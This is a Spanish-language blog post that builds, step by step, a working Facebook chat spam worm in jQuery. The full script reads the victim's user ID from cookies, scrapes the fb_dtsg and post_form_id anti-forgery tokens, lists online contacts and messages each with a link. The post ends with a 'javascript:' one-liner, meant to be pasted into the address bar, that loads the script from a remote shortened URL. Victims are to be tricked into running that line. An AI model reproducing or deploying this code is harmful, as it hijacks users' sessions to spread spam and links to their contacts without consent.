Archivo

Posts Tagged ‘Chat Spam’

Bot Spammer en el chat de Facebook con JQuery


Hace días atrás me comenzaron a llegar spam por el chat de facebook y decidí investigar como lo hacían.

Como lo hacen?
Primero, hacer correr código javascript a los contactos de facebook. Simplemente los hacen escribir en la barra de direcciones el siguiente código:

javascript: [CODIGO JAVASCRIPT]

e incluyen un script escrito en javascript a la página de facebook, con el cuál pueden manipular los datos de la página.

Como manipulan los datos de Facebook?
Con el script que incluyen en facebook, comienzan a hacer llamadas vía Ajax al servidor, donde:

  • Listan a los usuarios del chat: Para Listar a todos los contactos conectados crean una petición por el método GET a la siguiente dirección:
    http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&user={ID_USUARIO}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest&popped_out=false&force_render=true
  • Envían mensajes a cada usuario conectado:  Para enviar un mensaje a algún contacto necesitan hacer una petición por el método POST a la siguiente dirección
    http://www.facebook.com/ajax/chat/send.php?__a=1

    y como parámetro pasan:

    msg_id={NUMERO_RANDOM}&client_time={TIME}&msg_text={MENSAJE}&to={CONTACTO_ID}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest

Como ven en los puntos anteriores , necesitamos 3 variables que no podemos inventar para hacer las peticiones.

  • ID_USUARIO: La sacamos de la cookie de facebook
  • POST_FORM_ID: La sacamos de la página principal de Facebook (Formulario Oculto)
  • FB_DTSG: La sacamos de la página principal de Facebook (Formulario Oculto).

Conociendo ésto, los pasos para comenzar a escribir nuestro bot son:

  1. Entrar a la página principal de Facebook
  2. Sacar las cookies y buscar la ID_USUARIO
  3. Buscar los inputs ocultos y sacar POST_FORM_ID y FB_DTSG
  4. Listar Los Usuarios conectados al chat
  5. Enviar un mensaje por cada usuario conectado

Código:
Para programar código Javascript utilizaré el framework JQuery para hacer mas fácil la manipulación de datos.

1.- Conectar a la raíz de Facebook y obtener los datos necesarios.

	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
		}
	});

2.- Luego de Obtener los datos necesarios tenemos que listar a los usuarios

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					
				}
			});
		}
	});

3.- Debemos enviar un mensaje a cada usuario conectado.

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});

Para terminar nuestro código , agregaré el script de JQuery

/* Obtengo el tag HEAD */
var head= document.getElementsByTagName('head')[0];
/* creo un elemento SCRIPT */
var script= document.createElement('script');
/* le doy el tipo javascript */
script.type= 'text/javascript';
/* framework JQuery */
script.src= 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js';
/* Agrego un evento ONLOAD al SCRIPT */
script.onload = function(){
	/* Una vez que se haya cargado JQUERY debo comenzar a utilizarlo */
	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});
};
/* Agrego el tag SCRIPT Al tag HEAD */
head.appendChild(script);

Luego subimos nuestro script a algun hosting, yo lo subí a Dropbox
http://goo.gl/KKz48

Y por último creamos el codigo javascript para pasarlo a nuestros amigos, que tendrán que ejecutarlo en la página de Facebook.

javascript:(s=document.createElement('script')).src='http://goo.gl/KKz48', document.body.appendChild(s); void(0);              

Escribiendo el código anterior,en la barra de direcciones en la pestaña donde está la págian de facebook, se crea un tag que les agregará el script que hicimos y por consecuencia enviará un mensaje a todos sus amigos conectados al chat.

De ésta forma se pueden enviar mensajes por el chat, crear eventos, postear en el muro, etc. Espero que les sirva de algo y que lo usen para algo bueno,

Saludos!